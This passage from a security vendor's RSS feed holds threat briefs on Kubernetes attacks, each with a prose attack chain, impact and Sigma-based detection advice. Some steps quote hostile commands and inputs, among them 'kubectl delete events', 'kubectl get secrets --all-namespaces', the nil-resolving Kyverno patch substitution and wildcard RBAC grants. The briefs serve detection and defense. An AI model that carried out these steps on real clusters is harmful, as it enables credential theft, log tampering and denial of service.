<li>Monitor access logs on the Argo Server for unexpected API calls to the <code>/api/v1/sync</code> endpoints, especially POST, PUT, and DELETE requests, which could indicate unauthorized ConfigMap manipulation. Use the rule <code>Argo Workflows ConfigMap Sync Service Modification</code> to detect unauthorized modifications.</li>
<li>Implement network segmentation and access controls to limit network access to the Argo Server, reducing the attack surface.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>argo-workflows</category><category>kubernetes</category><category>configmap</category><category>authorization</category><category>vulnerability</category></item><item><title>Kubernetes Event Deletion for Defense Evasion</title><link>https://feed.craftedsignal.io/briefs/2024-05-kubernetes-events-deleted/</link><pubDate>Thu, 02 May 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-05-kubernetes-events-deleted/</guid><description>An adversary may delete Kubernetes events to evade detection and hide malicious activity within a Kubernetes environment by removing audit logs.</description><content:encoded><![CDATA[<p>Attackers targeting Kubernetes environments may attempt to delete Kubernetes events as a means of covering their tracks. This technique, often employed after successful exploitation or lateral movement, aims to eliminate audit logs and other traces of malicious activity. By removing these logs, attackers can significantly hinder incident response efforts and prolong the duration of their access. While the specifics of initial access will vary, this action will typically be performed using kubectl or similar tools with sufficient privileges within the Kubernetes cluster. Defenders need to monitor for unexpected deletion of event logs to identify potentially compromised systems.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Initial compromise of a container or node within the Kubernetes cluster using an exploit (e.g., exploiting a vulnerability in a containerized application).</li>
<li>Establish persistence by creating a malicious pod or modifying existing deployments to include backdoors.</li>
<li>Escalate privileges within the cluster, potentially by exploiting misconfigured RBAC policies or vulnerable service accounts.</li>
<li>Identify Kubernetes event logs that contain evidence of the attacker&rsquo;s activities, such as pod deployments, privilege escalation attempts, or network connections.</li>
<li>Use <code>kubectl delete events</code> command with appropriate privileges to remove targeted event logs from the Kubernetes audit logs.</li>
<li>Verify that the targeted event logs have been successfully removed from the cluster&rsquo;s audit trail.</li>
<li>Continue lateral movement and data exfiltration, now with reduced risk of detection due to the deleted event logs.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful deletion of Kubernetes events allows attackers to operate within the cluster undetected for extended periods. This can lead to significant data breaches, system compromise, and disruption of services. The absence of event logs makes forensic investigation and incident response extremely challenging, potentially leading to inaccurate assessments of the scope and impact of the attack. While the exact number of victims is unknown, this technique, if successful, significantly amplifies the damage caused by any initial intrusion.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule &ldquo;Kubernetes Events Deleted&rdquo; to your SIEM to detect event deletion attempts in your Kubernetes environment (logsource: application, product: kubernetes, service: audit).</li>
<li>Review and harden RBAC policies to minimize the risk of unauthorized event deletion.</li>
<li>Implement strong audit logging practices and ensure that audit logs are securely stored and protected from tampering.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>stealth</category><category>defense-evasion</category><category>kubernetes</category></item><item><title>Kubernetes Cluster Enumeration via Audit Logs</title><link>https://feed.craftedsignal.io/briefs/2024-01-kubernetes-enumeration/</link><pubDate>Mon, 29 Jan 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-kubernetes-enumeration/</guid><description>Attackers attempt to enumerate and discover sensitive information within a Kubernetes cluster by leveraging common shells, utilities, and specialized tools, as reflected in audit logs.</description><content:encoded><![CDATA[<p>Attackers are increasingly targeting Kubernetes environments to gain unauthorized access and extract sensitive information. This activity often begins with enumeration and reconnaissance to map out the cluster&rsquo;s configuration, identify potential vulnerabilities, and locate valuable secrets. This involves the use of standard command-line tools and specialized Kubernetes utilities. Audit logs provide a valuable record of these enumeration attempts, particularly API requests containing shell commands, file transfer utilities, or tools like Rakkess and TruffleHog. This activity is typically aimed at reconnaissance, secret harvesting, or code execution within the cluster. Detecting these patterns in audit logs is critical for identifying and responding to potential breaches.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker gains initial access to a system with Kubernetes API access, potentially through compromised credentials or a vulnerable application.</li>
<li>The attacker authenticates to the Kubernetes API server.</li>
<li>The attacker sends a request to the Kubernetes API to execute a shell within a pod, such as <code>/bin/bash</code> or <code>/bin/sh</code>, potentially URL-encoded.</li>
<li>The attacker uses <code>kubectl</code> within a pod to gather information about cluster resources, such as pods, services, and deployments.</li>
<li>The attacker attempts to download tools like <code>curl</code> or <code>wget</code> into a pod to facilitate further reconnaissance or lateral movement.</li>
<li>The attacker uses tools like <code>Rakkess</code> to enumerate role-based access control (RBAC) permissions to identify potential privilege escalation paths.</li>
<li>The attacker deploys <code>TruffleHog</code> to scan pod environments for exposed secrets, such as API keys and passwords.</li>
<li>The attacker exfiltrates gathered information and secrets or uses the gained access for lateral movement within the cluster or connected networks.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful enumeration of a Kubernetes cluster can provide attackers with detailed information about the cluster&rsquo;s architecture, deployed applications, and security configurations. This allows attackers to identify vulnerabilities, escalate privileges, and gain access to sensitive data, such as API keys, passwords, and other secrets. This can lead to data breaches, service disruptions, and compromised infrastructure. The impact can range from a limited data exposure to a full-scale compromise of the entire Kubernetes environment and connected cloud resources.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the &ldquo;Kubernetes Potential Enumeration Activity&rdquo; Sigma rule to your SIEM to detect suspicious API requests containing shell commands, file transfer utilities, or specialized tools (Sigma rule).</li>
<li>Investigate any alerts triggered by the Sigma rule to determine the scope and impact of the potential enumeration activity.</li>
<li>Review and harden RBAC configurations to minimize the potential for privilege escalation (attack.t1609).</li>
<li>Implement strict network segmentation to limit lateral movement within the cluster and connected networks.</li>
<li>Regularly scan pods for exposed secrets using dedicated secret scanning tools and enforce secure secret management practices.</li>
<li>Monitor Kubernetes audit logs for unusual or unauthorized API activity (logsource: kubernetes, service: audit).</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>kubernetes</category><category>enumeration</category><category>cloud</category></item><item><title>Kyverno Controller Denial of Service via forEach Mutation Panic</title><link>https://feed.craftedsignal.io/briefs/2024-01-kyverno-dos/</link><pubDate>Sat, 27 Jan 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-kyverno-dos/</guid><description>An unchecked type assertion in Kyverno versions v1.13.0 to v1.17.1 allows a user with permission to create a Policy or ClusterPolicy to crash the cluster-wide background controller into a persistent CrashLoopBackOff, leading to a denial of service, by crafting a malicious policy that triggers a nil pointer dereference in the forEach mutation handler.</description><content:encoded><![CDATA[<p>A denial-of-service vulnerability exists in the <code>forEach</code> mutation handler of Kyverno, a Kubernetes policy engine. Specifically, Kyverno versions v1.13.0 through v1.17.1 are susceptible to a flaw where an unchecked type assertion within the <code>ForEach</code> function in <code>pkg/engine/mutate/mutation.go</code> can be triggered by a specially crafted <code>Policy</code> or <code>ClusterPolicy</code>. Any user with the ability to create these policy types can exploit this vulnerability. When a <code>patchesJson6902</code> field contains a variable substitution (e.g., <code>{{ element.nonexistent }}</code>) that resolves to <code>nil</code> at runtime, the type assertion <code>.(string)</code> on a nil <code>interface{}</code> triggers an unrecoverable Go panic. This results in the background controller entering a persistent CrashLoopBackOff state, effectively halting background processing. The admission controller will also drop connections and block matching resource operations. CEL-based policies are unaffected.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker crafts a malicious <code>Policy</code> or <code>ClusterPolicy</code> YAML manifest containing a <code>forEach</code> rule.</li>
<li>The crafted rule includes a <code>patchesJson6902</code> field with a variable substitution, such as <code>{{ element.nonexistent }}</code>, designed to resolve to <code>nil</code> at runtime.</li>
<li>The attacker applies the malicious policy to the Kubernetes cluster. This requires appropriate permissions to create <code>Policy</code> or <code>ClusterPolicy</code> resources.</li>
<li>When a resource matching the policy&rsquo;s <code>match</code> criteria is created or updated, the Kyverno admission controller attempts to apply the policy.</li>
<li>The <code>ForEach</code> function in <code>pkg/engine/mutate/mutation.go</code> is invoked, processing the <code>patchesJson6902</code> field.</li>
<li>The variable substitution resolves to <code>nil</code>, leading to a bare type assertion failure: <code>fe[&quot;patchesJson6902&quot;].(string)</code>.</li>
<li>This triggers an unrecoverable Go panic, causing either the background controller (if triggered by <code>mutateExisting</code> rules) or the admission controller to terminate the connection.</li>
<li>The background controller enters a CrashLoopBackOff state due to the persistent <code>UpdateRequest</code> resources that re-trigger the panic on every restart, achieving a denial-of-service.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability leads to a denial of service affecting Kyverno&rsquo;s core functionalities within the Kubernetes cluster. An attacker can crash the background controller, halting critical background tasks such as generate rules, mutateExisting rules, and cleanup processes. The admission controller can also be affected, dropping connections and blocking resource operations that match the malicious policy&rsquo;s criteria. If a ClusterPolicy is used, this block extends cluster-wide. This vulnerability allows even users with limited, namespace-scoped permissions (via Policy creation) to impact the entire cluster, thus escalating privileges.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade to Kyverno version v1.17.2 or later to patch the vulnerability (see Overview).</li>
<li>Deploy the Sigma rule <code>Detect Kyverno Policy with Suspicious forEach</code> to identify potentially malicious policies containing <code>forEach</code> loops with <code>patchesJson6902</code> fields that could trigger the vulnerability.</li>
<li>Monitor Kyverno controller logs for &ldquo;panic: interface conversion: interface {} is nil, not string&rdquo; errors, indicating a potential exploitation attempt (see Attack Chain, step 7).</li>
<li>Implement strict RBAC policies to limit the ability to create or modify Kyverno <code>Policy</code> and <code>ClusterPolicy</code> resources (see Impact).</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>kyverno</category><category>denial-of-service</category><category>kubernetes</category><category>policy-engine</category></item><item><title>Azure Kubernetes Events Deleted</title><link>https://feed.craftedsignal.io/briefs/2024-01-azure-kubernetes-events-deleted/</link><pubDate>Tue, 09 Jan 2024 18:30:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-azure-kubernetes-events-deleted/</guid><description>Adversaries may delete events in Azure Kubernetes to evade detection, which this rule detects via the MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/EVENTS.K8S.IO/EVENTS/DELETE operation.</description><content:encoded><![CDATA[<p>Attackers targeting Azure Kubernetes Service (AKS) environments may attempt to remove event logs to cover their tracks and hinder forensic investigations. This activity, which involves deleting Kubernetes events, directly impairs a defender&rsquo;s ability to detect malicious behavior within the cluster. By removing evidence of their actions, attackers can prolong their presence within the environment and increase the potential for further compromise. This technique is relevant for defenders monitoring AKS environments for intrusion activity.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>The attacker gains initial access to the Azure environment, potentially through compromised credentials or exploiting a vulnerability.</li>
<li>The attacker authenticates to the Azure Kubernetes Service (AKS) cluster with sufficient privileges.</li>
<li>The attacker enumerates existing Kubernetes event logs to identify those they wish to remove.</li>
<li>The attacker executes a command to delete specific Kubernetes events using kubectl or the Azure CLI. The API call used for the deletion is MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/EVENTS.K8S.IO/EVENTS/DELETE.</li>
<li>The Azure Activity Logs record the event deletion, which is the source of the detection.</li>
<li>The attacker repeats steps 3-4 to remove additional event logs, further obscuring their activities.</li>
<li>The attacker continues with their primary objective, such as deploying malicious containers, exfiltrating data, or establishing persistent access.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful deletion of Kubernetes events can significantly hinder incident response efforts. Without access to event logs, defenders may struggle to identify the scope and timeline of an attack, potentially leading to incomplete remediation and prolonged exposure. The impact includes increased dwell time for attackers within the compromised environment, as well as a greater likelihood of successful data breaches or system disruptions.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the provided Sigma rule to your SIEM to detect event deletion activity within AKS environments.</li>
<li>Investigate any detected instances of the MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/EVENTS.K8S.IO/EVENTS/DELETE operation in Azure Activity Logs, as indicated in the rule definition.</li>
<li>Implement robust RBAC policies within AKS to minimize the number of users and service accounts with permissions to delete Kubernetes events.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>azure</category><category>kubernetes</category><category>defense-evasion</category></item><item><title>Kubernetes Sensitive Role Creation or Modification</title><link>https://feed.craftedsignal.io/briefs/2024-01-kubernetes-sensitive-role-creation/</link><pubDate>Thu, 04 Jan 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-kubernetes-sensitive-role-creation/</guid><description>Detects the creation or modification of Kubernetes Roles or ClusterRoles that grant high-risk permissions, such as wildcard access or RBAC escalation verbs, potentially leading to privilege escalation or unauthorized access within the cluster.</description><content:encoded><![CDATA[<p>This detection rule focuses on identifying suspicious activities related to Kubernetes Role-Based Access Control (RBAC). It specifically targets the creation, update, or patching of Kubernetes Roles or ClusterRoles that introduce high-risk permissions. These include wildcard access, where a single rule grants access to all resources, and escalation verbs like &lsquo;bind&rsquo;, &rsquo;escalate&rsquo;, or &lsquo;impersonate&rsquo;, which can be used to elevate privileges. The rule is designed to alert security teams to potential privilege escalation or unauthorized access attempts within Kubernetes environments. The Elastic detection rule was last updated on April 27, 2026, and aims to detect malicious actors attempting to gain cluster-admin-equivalent access by creating new ClusterRoles with <code>*</code> verbs/resources and binding them to their accounts or service accounts.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker gains initial access to the Kubernetes cluster, potentially through compromised credentials or a vulnerable application.</li>
<li>The attacker attempts to create or modify a Role or ClusterRole.</li>
<li>The attacker adds high-risk permissions to the Role or ClusterRole, such as wildcard verbs/resources (<code>*</code>) or escalation verbs (bind, escalate, impersonate).</li>
<li>The Kubernetes API server authorizes the request, potentially due to misconfigured RBAC policies.</li>
<li>The attacker creates or modifies a RoleBinding or ClusterRoleBinding to associate the modified Role or ClusterRole with a target user, group, or service account.</li>
<li>The target user, group, or service account now possesses the elevated privileges granted by the modified Role or ClusterRole.</li>
<li>The attacker leverages the elevated privileges to perform unauthorized actions within the cluster, such as accessing sensitive data or deploying malicious workloads.</li>
<li>The attacker achieves persistence by maintaining the modified Role or ClusterRole and its associated bindings, allowing continued access to elevated privileges.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation can lead to significant security breaches within a Kubernetes environment. Attackers can gain unauthorized access to sensitive data, deploy malicious workloads, disrupt services, and potentially compromise the entire cluster. This can result in data breaches, financial losses, and reputational damage. The rule aims to prevent attackers from silently expanding privileges, enabling persistence, or facilitating lateral movement across the cluster.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule <code>Kubernetes Creation of Sensitive Role</code> to your SIEM to detect the creation or modification of Kubernetes Roles or ClusterRoles that grant high-risk permissions.</li>
<li>Enable Kubernetes audit logging to capture the necessary events for the Sigma rules to function effectively (reference: Kubernetes audit logs in <code>logsource</code>).</li>
<li>Implement RBAC guardrails using tools like OPA Gatekeeper or Kyverno to prevent the creation of Roles/ClusterRoles with wildcard or escalation verbs (reference: harden recommendation in the content).</li>
<li>Regularly review and audit RBAC configurations to identify and remediate overly permissive roles and bindings.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>kubernetes</category><category>rbac</category><category>privilege-escalation</category><category>persistence</category></item><item><title>Kubernetes RBAC Wildcard Elevation on Existing Role</title><link>https://feed.craftedsignal.io/briefs/2024-01-kubernetes-rbac-elevation/</link><pubDate>Wed, 03 Jan 2024 18:23:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-kubernetes-rbac-elevation/</guid><description>The rule detects when a Kubernetes Role or ClusterRole is patched or updated to grant wildcard verbs and resources, effectively granting cluster-admin-like privileges, which is often a deliberate privilege expansion and could indicate malicious activity.</description><content:encoded><![CDATA[<p>This detection rule identifies modifications to Kubernetes Roles or ClusterRoles that result in the granting of wildcard permissions for both verbs and resources. This effectively elevates the privileges associated with the role to be similar to that of a cluster-admin, granting near-complete control over the Kubernetes environment. This type of privilege escalation is often intentional and may indicate malicious activity, such as an attacker attempting to gain broader access within the cluster. The rule requires Kubernetes audit logs with RequestResponse level and the response body to inspect the final merged role. It excludes loopback source IPs to avoid false positives from local system processes.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker gains initial access to a Kubernetes cluster, possibly through compromised credentials or a vulnerable application.</li>
<li>The attacker identifies a Role or ClusterRole that, if modified, would grant them broader privileges.</li>
<li>The attacker uses <code>kubectl patch</code> or <code>kubectl update</code> to modify the existing Role or ClusterRole.</li>
<li>The modification introduces wildcard permissions (<code>verbs: [&quot;*&quot;]</code> and <code>resources: [&quot;*&quot;]</code>) to the role&rsquo;s rules.</li>
<li>The Kubernetes API server processes the patch or update request, granting the modified permissions.</li>
<li>The attacker leverages the newly acquired privileges to perform actions they were previously unauthorized to do, such as accessing sensitive data, deploying malicious workloads, or further escalating privileges.</li>
<li>The attacker attempts to access other resources or namespaces within the Kubernetes cluster, taking advantage of the elevated permissions.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>A successful privilege escalation can allow an attacker to gain complete control over a Kubernetes cluster. This can lead to data breaches, denial of service, deployment of malicious containers, and other security incidents. The severity of the impact depends on the scope of the compromised cluster and the sensitivity of the data and applications it hosts. A single compromised role can lead to a full cluster compromise if not detected and remediated quickly.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule &ldquo;Kubernetes RBAC Wildcard Elevation on Existing Role&rdquo; to your SIEM and tune for your environment to detect wildcard privilege escalations in Kubernetes audit logs.</li>
<li>Investigate any alerts generated by the Sigma rule, focusing on the actor (user, group, impersonation) and their source IP.</li>
<li>Diff the Role or ClusterRole YAML before and after the change to understand the scope of the permission change.</li>
<li>Review RoleBindings and ClusterRoleBindings that reference the modified role to identify which subjects gained the widened access.</li>
<li>Implement policy-as-code to prevent unauthorized modifications to RBAC configurations.</li>
<li>Monitor Kubernetes audit logs for suspicious activity related to account manipulation (T1098) and privilege escalation (TA0004).</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>kubernetes</category><category>rbac</category><category>privilege-escalation</category></item><item><title>Kubernetes Secret Access by Node or Pod Service Account</title><link>https://feed.craftedsignal.io/briefs/2024-01-kubernetes-secret-access/</link><pubDate>Wed, 03 Jan 2024 18:22:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-kubernetes-secret-access/</guid><description>This rule detects Kubernetes audit events where a node or pod service account attempts to read secrets directly, which is often a sign of credential access.</description><content:encoded><![CDATA[<p>This detection rule identifies suspicious Kubernetes API access patterns indicative of credential access. Specifically, it focuses on <code>get</code> or <code>list</code> operations targeting the <code>secrets</code> resource performed by node identities (<code>system:node:*</code>) or pod service accounts (<code>system:serviceaccount:*</code>). Attackers who have compromised a pod service account or node credentials might attempt to enumerate secrets to discover sensitive information such as tokens, registry credentials, TLS keys, or application configurations. While legitimate controllers may read secrets, direct access from node or pod service accounts warrants investigation, especially when cross-namespace or involving high-value secrets. The rule is intended to be triaged based on namespace scope, user agent, RBAC, and relevance of the identity to the accessed secret.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker gains initial access to a Kubernetes cluster, possibly through compromising a pod or node.</li>
<li>Attacker obtains credentials for a service account associated with the compromised pod or accesses node credentials.</li>
<li>Attacker uses the stolen credentials to authenticate against the Kubernetes API.</li>
<li>The attacker attempts to enumerate secrets within the cluster using <code>kubectl get secrets --all-namespaces</code> or similar API calls.</li>
<li>The Kubernetes API server receives the request and generates an audit log entry.</li>
<li>This audit log entry contains details such as the user (<code>system:node:*</code> or <code>system:serviceaccount:*</code>), the action (<code>get</code> or <code>list</code>), and the resource (<code>secrets</code>).</li>
<li>The attacker identifies valuable secrets containing sensitive information such as API keys or database passwords.</li>
<li>Attacker exfiltrates the secrets, gaining unauthorized access to other systems or data.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Compromised Kubernetes secrets can lead to a wide range of security breaches, including unauthorized access to sensitive data, lateral movement within the cluster, and compromised external services that rely on the exposed credentials. If successful, attackers could gain complete control over the cluster and its applications, leading to data breaches, service disruption, and reputational damage. The risk is elevated in environments where secrets are not properly managed or where RBAC is overly permissive.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the provided Sigma rule to your SIEM to detect unauthorized secret access attempts by node or pod service accounts in Kubernetes audit logs.</li>
<li>Review RBAC configurations to ensure least privilege for service accounts and nodes, limiting their access to only necessary secrets.</li>
<li>Investigate any alerts generated by the Sigma rule, focusing on cross-namespace access, high-value secret names, and unusual user agents.</li>
<li>Implement a process for regularly rotating secrets and auditing access to sensitive resources within the Kubernetes cluster.</li>
<li>Baseline normal secret access patterns for in-cluster operators, CSI drivers, and GitOps agents, and create allowlists to reduce false positives.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>kubernetes</category><category>credential-access</category><category>cloud</category></item><item><title>Malicious Azure Kubernetes Admission Controller Configuration</title><link>https://feed.craftedsignal.io/briefs/2024-01-azure-kubernetes-admission-controller/</link><pubDate>Wed, 03 Jan 2024 15:30:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-azure-kubernetes-admission-controller/</guid><description>An adversary can exploit Kubernetes Admission Controllers in Azure to achieve persistence, privilege escalation, or credential access by manipulating webhook configurations.</description><content:encoded><![CDATA[<p>Kubernetes Admission Controllers are critical components that intercept and potentially modify requests to the Kubernetes API server. These controllers rely on admission webhooks (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) deployed within the cluster. A malicious actor can abuse these webhooks to establish persistence by modifying pod creation operations and injecting malicious containers into new pods via MutatingAdmissionWebhook. Alternatively, ValidatingAdmissionWebhook can be used to intercept API server requests, potentially exposing secrets and sensitive information. This activity allows for credential access and privilege escalation, impacting the overall security posture of the Kubernetes cluster.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>The attacker gains initial access to the Azure Kubernetes cluster, possibly through compromised credentials or a vulnerability in a deployed application.</li>
<li>The attacker identifies the existing Admission Controller configuration within the Kubernetes cluster.</li>
<li>The attacker crafts a malicious MutatingAdmissionWebhook configuration to intercept pod creation requests.</li>
<li>The malicious webhook is deployed to the cluster, configured to modify pod specifications.</li>
<li>When new pods are created, the webhook injects a malicious container into the pod specification before deployment.</li>
<li>The malicious container executes within the newly created pod, providing the attacker with persistent access to the cluster.</li>
<li>Alternatively, the attacker crafts a malicious ValidatingAdmissionWebhook to intercept API requests.</li>
<li>The webhook captures sensitive data, such as secrets, and sends it to an attacker-controlled server, resulting in credential access.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Compromising the Kubernetes Admission Controller can lead to persistent access within the cluster. The attacker can inject malicious containers into numerous pods, potentially affecting all applications deployed in the cluster. Sensitive information, like secrets, can be stolen, enabling lateral movement and privilege escalation within the Azure environment. The impact ranges from data breaches to complete cluster compromise.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule &ldquo;Azure Kubernetes Admission Controller Configuration Change&rdquo; to detect unauthorized modifications to Admission Controller configurations in Azure Activity Logs.</li>
<li>Regularly review and audit existing Admission Controller configurations for any unexpected or malicious webhooks.</li>
<li>Implement strong RBAC policies to restrict access to Admission Controller configuration and prevent unauthorized modifications.</li>
<li>Monitor Azure Activity Logs for <code>MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/ADMISSIONREGISTRATION.K8S.IO</code> and <code>MICROSOFT.CONTAINERSERVICE/MANAGEDCLUSTERS/ADMISSIONREGISTRATION.K8S.IO</code> operations to identify potential abuse.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>azure</category><category>kubernetes</category><category>admission-controller</category><category>persistence</category><category>privilege-escalation</category><category>credential-access</category></item><item><title>AWS Lateral Movement from Kubernetes Service Account via AssumeRoleWithWebIdentity</title><link>https://feed.craftedsignal.io/briefs/2024-01-aws-k8s-lateral-movement/</link><pubDate>Wed, 03 Jan 2024 15:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-aws-k8s-lateral-movement/</guid><description>This rule detects lateral movement in AWS environments originating from Kubernetes service accounts by identifying instances where credentials obtained for a service account are used for multiple distinct AWS control-plane actions, potentially indicating unauthorized access.</description><content:encoded><![CDATA[<p>This detection rule identifies lateral movement in AWS environments stemming from Kubernetes service accounts utilizing <code>AssumeRoleWithWebIdentity</code>. It focuses on detecting instances where credentials obtained via this method are subsequently used to perform several distinct AWS control-plane actions within a single session. This behavior deviates from typical pod traffic and could signify unauthorized access or privilege escalation. The rule prioritizes the detection of sensitive API usage, including reconnaissance activities, access to secrets, IAM modifications, and compute creation events, while strategically excluding high-volume S3 data-plane operations to minimize false positives. The targeted environments are those leveraging EKS IAM Roles for Service Accounts.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>A Kubernetes service account projects a token.</li>
<li>The service account uses <code>AssumeRoleWithWebIdentity</code> to exchange the token for short-lived IAM credentials.</li>
<li>The attacker leverages the assumed role to perform reconnaissance activities such as <code>ListUsers</code>, <code>ListRoles</code>, and <code>DescribeInstances</code>.</li>
<li>The attacker attempts to access secrets using actions like <code>GetSecretValue</code> and <code>ListSecrets</code>.</li>
<li>The attacker escalates privileges by modifying IAM policies with actions like <code>AttachRolePolicy</code> and <code>PutRolePolicy</code>.</li>
<li>The attacker attempts to create new users or roles within the AWS environment using actions like <code>CreateUser</code> and <code>CreateRole</code>.</li>
<li>The attacker performs lateral movement using actions like <code>SendCommand</code> and <code>StartSession</code>.</li>
<li>The attacker attempts to evade detection by stopping logging with the <code>StopLogging</code> action.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation can lead to unauthorized access to sensitive data, privilege escalation, and the potential compromise of the entire AWS environment. Lateral movement within the AWS infrastructure allows attackers to gain access to critical systems and data, potentially leading to data breaches, service disruptions, or other malicious activities.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the provided Sigma rule to your SIEM to detect potentially malicious activity related to <code>AssumeRoleWithWebIdentity</code> and tune for your environment.</li>
<li>Review and harden IAM role trust policies associated with Kubernetes service accounts, specifically focusing on OIDC trust conditions, as referenced in the <a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html">IAM OIDC identity provider</a> documentation.</li>
<li>Implement strict least privilege principles for Kubernetes service accounts, limiting their access to only the necessary AWS resources, as covered in <a href="https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html">EKS IAM roles for service accounts</a>.</li>
<li>Monitor CloudTrail logs for <code>AssumeRoleWithWebIdentity</code> events followed by suspicious API calls, focusing on the actions listed in the Sigma rule detection patterns.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>cloud</category><category>aws</category><category>kubernetes</category><category>lateral-movement</category><category>credential-access</category><category>discovery</category></item><item><title>Kubelet API Connection Attempt to Internal IP</title><link>https://feed.craftedsignal.io/briefs/2024-01-kubelet-api-connection/</link><pubDate>Wed, 03 Jan 2024 14:30:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-kubelet-api-connection/</guid><description>The rule detects network connection attempts to the Kubernetes Kubelet API ports 10250 and 10255 on internal IP ranges from Linux hosts, indicating potential lateral movement within container and cluster environments.</description><content:encoded><![CDATA[<p>This detection rule identifies suspicious network connections to the Kubernetes Kubelet API, specifically targeting ports 10250 and 10255, from Linux hosts within internal network ranges. Attackers frequently exploit weak authentication or network controls to access the Kubelet API, potentially enabling them to enumerate pods, retrieve logs, and execute commands on nodes. This activity often originates from common scripting utilities like <code>curl</code>, <code>wget</code>, or interpreters like <code>python</code> and <code>node</code>, particularly when executed from world-writable directories such as <code>/tmp</code>, <code>/var/tmp</code>, or <code>/dev/shm</code>. This technique is often a component of container and cluster lateral movement, where the attacker seeks to expand their access within the Kubernetes environment. The rule is designed to detect these unauthorized attempts and alert security teams to investigate potential breaches.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker gains initial access to a compromised container or host within the Kubernetes cluster, potentially through exploiting a vulnerability in a running application.</li>
<li>The attacker executes a reconnaissance command, such as <code>curl</code> or <code>wget</code>, from within the compromised container, targeting the Kubelet API on port 10250 or 10255.</li>
<li>The <code>curl</code> or <code>wget</code> command is executed from a temporary directory like <code>/tmp</code> or <code>/dev/shm</code> to avoid detection.</li>
<li>The attacker attempts to enumerate running pods and services by querying the <code>/pods</code> or <code>/runningpods</code> endpoints of the Kubelet API.</li>
<li>If successful, the attacker identifies a target pod within the cluster based on the enumerated information.</li>
<li>The attacker leverages the Kubelet API to execute commands within the target pod, potentially escalating privileges or accessing sensitive data.</li>
<li>The attacker attempts to move laterally to other nodes or containers within the Kubernetes cluster, repeating the reconnaissance and exploitation steps.</li>
<li>The ultimate goal is to gain control over the entire Kubernetes cluster, enabling data exfiltration, resource hijacking, or disruption of services.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of the Kubelet API can lead to a complete compromise of the Kubernetes cluster. Attackers can gain unauthorized access to sensitive data, escalate privileges, and disrupt critical services. While the number of victims may vary depending on the organization&rsquo;s security posture, a successful attack could impact all applications and data managed by the cluster. Organizations in any sector utilizing Kubernetes are potentially at risk.</p>
